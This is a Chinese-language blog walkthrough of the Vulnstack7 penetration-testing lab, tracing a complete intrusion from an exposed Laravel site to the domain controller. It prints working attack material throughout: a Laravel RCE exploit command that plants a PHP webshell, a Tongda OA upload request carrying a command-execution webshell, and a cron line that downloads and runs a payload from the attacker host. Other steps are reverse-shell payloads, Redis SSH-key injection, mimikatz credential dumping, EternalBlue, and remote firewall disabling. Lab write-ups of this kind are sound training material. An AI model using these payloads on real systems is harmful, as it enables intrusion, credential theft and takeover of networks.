红日靶场vulnstack7实战笔记

前言

靶场下载链接:http://vulnstack.qiyuanxuetang.net/vuln/detail/9/

参考链接:https://www.freebuf.com/articles/web/354890.html

拓扑图:

domain1

环境配置

目标IP:192.168.40.136

第一层网络DMZ-Web1(Ubuntu):

网卡1:192.168.40.136

网卡2:192.168.52.10

第二层网络-Web2(Ubuntu):

网卡1:192.168.52.20

网卡2:192.168.93.10

第二层网络-PC1(Windows 7):

网卡1:192.168.52.30

网科2:192.168.93.20

第三层网络-PC2(Windows 7):

网卡1:192.168.93.40

第三层网络-Server(Windows Server 2012):

网卡1:192.168.93.30

渗透过程

外网打点

拿到目标IP后,使用nmap对目标IP进行常规的信息搜集

1
nmap -T4 -p1-65535 -A 192.168.40.136

domain2

发现其81端口开放且存在Laravel框架,此外6379端口存在Redis服务

根据此处Laravel框架的版本,推测其存在CVE-2021-3129漏洞

利用Laravel漏洞检测工具进行检测,发现其存在相关漏洞

domain3

漏洞利用

利用CVE-2021-3129的利用脚本写入木马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
"system('echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4=|base64 -d > /var/www/html/shell.php');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"

/*
system('echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4=|base64 -d > /var/www/html/shell.php');
这行命令通过 PHP 的 system 函数执行一个 shell 命令。具体命令是将字符串 PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4= 通过 base64 解码,然后将解码后的内容写入到 /var/www/html/shell.php 文件中

phar phar -o php://output
这部分命令的目的是将 PHAR 文件的输出内容重定向到标准输出 (php://output)

base64 -w 0
将上一步的输出通过 base64 编码,并且不换行 (-w 0 表示输出时不换行)

python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
这部分 Python 代码从标准输入读取数据,并将每个字符转换为十六进制表示,然后格式化为 =xx=00 的形式并输出。比如字符 A 会被转换为 =41=00
*/

然后执行

1
python3 Laravel_CVE-2021-3129_EXP.py "system('echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4=|base64 -d > /var/www/html/test.php');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"

直接访问192.168.40.136:81/shell.php执行命令,可知木马写入成功

domain3

然后使用蚁剑进行连接,输入命令检测后,发现目前该shell目前是在Docker容器中

1
cat /proc/self/cgroup

domain3

权限提升

面对这种情况,需要想办法进行Docker逃逸从而获取该主机的权限,但在此之前,由于我们拿到的用户为www-data权限太小,所以我们需要进行提权

这里我们使用find命令来搜索具有SUID的文件

1
find / -perm -u=s -type f 2>/dev/null

根据上面的命令,我们可以遍历所有可执行文件,这里我们发现/home/jobs目录下存在一个名为shell的文件,且存在SUID的权限

尝试运行shell文件,可以发现其执行了ps命令,并且没有使用绝对路径,因此尝试更改$PATH来执行我们构造的恶意程序,从而获取更高权限的shell

1
2
3
4
5
6
7
cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序
cd /home/jobs
./shell

domain3

之后可以使用msf生成木马,并将其上传到目标容器执行,然后使用metasploit进行反弹得到shell,具体操作如下:

1
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.40.142 LPORT=4444 -f elf -o test.elf

将生成的test.elf上传到服务器

然后使用msfconsole进行监听

1
2
3
4
5
6
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.40.142
set lport 4444
run

然后运行上传到服务器的test.elf,成功得到shell

domain3

Docker逃逸

  • 特权模式于版本0.6时被引入Docker,允许容器内的root拥有外部物理机root权限,而此前容器内root用户仅拥有外部物理机普通用户权限。
  • 使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。
  • 当控制使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。

查看挂载目录,发现挂载有其他目录

1
fdisk -l

在根目录创建test目录,并将/dev/sda1挂载上去

这时我们可以通过访问容器内部的/test来实现访问整台宿主机

注意!在docker容器里挂载一个宿主的本地目录,这样某些容器里输出的文件,就可以在本地目录中打开访问了

使用metasploit的web_delivery模块生成payload

1
2
3
4
5
6
use exploit/multi/script/web_delivery
set target 7
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.40.142
set lport 5555
run

将生成的命令在目标主机上执行,从而得到目标主机的meterpreter

1
echo '* * * * * wget -qO TDkiFNiS --no-check-certificate http://192.168.40.142:8080/9eE8P9ar5J; chmod +x TDkiFNiS; ./TDkiFNiS& disown' >> /test/var/spool/cron/crontabs/root

domain3

通过信息搜集,我们可以得到以下有用信息:

  • 该主机系统版本为:Ubuntu 14.04
  • 该主机存在两个内网IP:192.168.52.20 和 192.168.93.10

这里会发现没有我们所访问的入口地址192.168.40.136

这边我们再尝试6379端口的redis服务,发现其存在未授权访问,直接进行连接

直接进行利用,通过在攻击机生成ssh公钥

1
ssh-keygen -t rsa

然后将生成的公钥导入key.txt中,再将key.txt的内容写入目标主机的redis缓冲里

1
2
3
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt

cat key.txt | redis-cli -h 192.168.1.8 -x set xxx

注意!前后用\n换行,避免和Redis里其他缓存数据混合,-x 代表从标准输入读取数据作为该命令的最后一个参数

然后使用攻击机连接目标的Redis,然后执行命令将ssh公钥写入目标主机

1
2
3
config set dir /root/.ssh    # 设置redis的备份路径为/root/.ssh/
config set dbfilename authorized_keys # 设置保存文件名为authorized_keys
save # 将数据保存在目标服务器硬盘上

domain3

写入后尝试连接,成功连接上目标主机

domain3

此处查看网络信息,发现也存在两个IP,192.168.40.136 和 192.168.52.10

操作系统为Ubuntu 18.04

由此可知目标的网站应该做了反向代理,此Ubuntu 18.04仅仅提供一个代理服务,真正的Web服务器在那台Ubuntu 14.04上,Ubuntu 18.04的Nginx将81端口上收到的请求转发给了内网第二层网络的Web服务器192.168.52.20也就是Ubuntu 14.04

内网渗透

在Ubuntu 18.04服务器使用earthworm搭建socks5反向代理服务,在攻击机执行命令:

1
./ew_for_linux64 -s rcsocks -l 1080 -e 1234

在Ubuntu 18.04执行命令:

1
./ew_for_linux64 -s rssocks -d 192.168.40.142 -e 1234

然后在攻击机修改proxychains的配置文件(一般路径在/etc/proxychains.conf)在文件底部修改:

1
socks5 127.0.0.1 1080

然后使用namp进行扫描,发现存在192.168.52.30主机,且开放了相关端口,在其8080端口上存在通达OA系统,将浏览器设置代理后,成功访问

domain3

通过搜索,结合网上纰漏的通达的漏洞,通过未授权登录成功获得session

之后利用文件上传漏洞,成功上传木马

注意!此处我在复现过程中,需要将session修改为未授权登录所获得的session

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
POST /ispirit/im/upload.php HTTP/1.1
Host: 192.168.52.30:8080
Content-Length: 679
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=0nq2ah0avu1qn3ea4sheo41ha7
Connection: close

------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"


2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"

0nq2ah0avu1qn3ea4sheo41ha7
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"

1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg

<?php
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--

domain3

再结合文件包含来执行命令,成功rce

1
2
3
4
5
6
7
8
9
10
POST /ispirit/interface/gateway.php HTTP/1.1
Host: 192.168.52.30:8080
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
Content-Length: 69
Content-Type: application/x-www-form-urlencoded

json={"url":"/general/../../attach/im/2407/1005700217.jpg"}&cmd=whoami

domain3

然后尝试上线msf

domain3

1
2
3
4
5
6
use exploit/multi/script/web_delivery
set target 2
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.40.136
set lport 5566
run

生成的代码直接拿去Burpsuite执行,成功上线msf,从而对目标内网进行信息搜集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
ipconfig /all   # 查看本机ip,所在域
systeminfo # 列出系统信息
route print # 打印路由信息
net view # 查看局域网内其他主机名
arp -a # 查看arp缓存
whoami
net start # 查看开启了哪些服务
net share # 查看开启了哪些共享

net config workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net user /domain # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain # 查看有几个域
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain # 查看域中某工作组
net group "domain admins" /domain # 查看域管理员的名字
net group "domain computers" /domain # 查看域中的其他主机名
net group "domain controllers" /domain # 查看域控制器(可能有多台)

使用meterpreter上的kiwi模块成功抓取到域用户bunny和域管理员administrator的凭证

1
2
3
load kiwi
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonPasswords

注意!如果提示需要运行在x64的进程中,可以使用ps查看进程,然后使用migrate迁移进程

domain3

第三层网络渗透

使用earthworm搭建一个二级socks5代理服务

首先攻击机上执行如下命令添加一个转接隧道,监听1090端口,并将1090端口收到的代理请求发送给1235端口

1
./ew_for_linux64 -s lcx_listen -l 1090 -e 1235

然后在第二层网络的Windows服务器上传ew_for_Win.exe,并利用ssocksd方式启动999端口的正向socks代理

1
ew_for_Win.exe -s ssocksd -l 999

最后,在DMZ区域的Ubuntu 18上传ew_for_linux64并利用lcx_slave方式,将攻击机的1235端口与第二层网络Windows 7的999端口连接起来

1
./ew_for_linux64 -s lcx_slave -d 192.168.1.7 -e 1235 -f 192.168.52.30 -g 999

然后配置**/etc/proxychains.conf**

使用nmap此93网段进行扫描,发现存在192.168.93.30和192.168.93.40这两台机器,且其445端口都开放,猜测有可能存在永恒之蓝

domain3

domain3

横向移动

对192.168.93.40进行单独扫描,发现其为Windows7且139、135、445端口均开放

尝试使用msf打永恒之蓝

注意!直接在msf通过setg Proxies设置全局代理未能成功,而最终通过proxychains来运行msfconsole攻击成功

1
2
3
4
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhosts 192.168.93.40
run

domain3

成功拿下

域控渗透

使用psexec模块进行对域控的渗透攻击

1
2
3
4
5
6
7
8
use exploit/windows/smb/psexec
set rhosts 192.168.93.30
set lport 9999
set SMBUser administrator
set SMBPass Whoami2021
set payload windows/meterpreter/bind_tcp
set rhost 192.168.93.30
run

攻击失败,猜测是防火墙的问题

重新连接进192.168.52.30的shell,通过其输入用户名和密码来关掉192.168.93.30域控的防火墙

1
2
3
net use \\192.168.93.30\ipc$ "Whoami2021" /user:"Administrator"
sc \\192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\192.168.93.30 start unablefirewall

注意!虽然命令执行后会报Failed,但实际防火墙已经关闭了

再次执行上面的命令,成功拿下了域控

domain3


红日靶场vulnstack7实战笔记
http://example.com/2024/07/11/domain1/
作者
ZERO
发布于
2024年7月11日
许可协议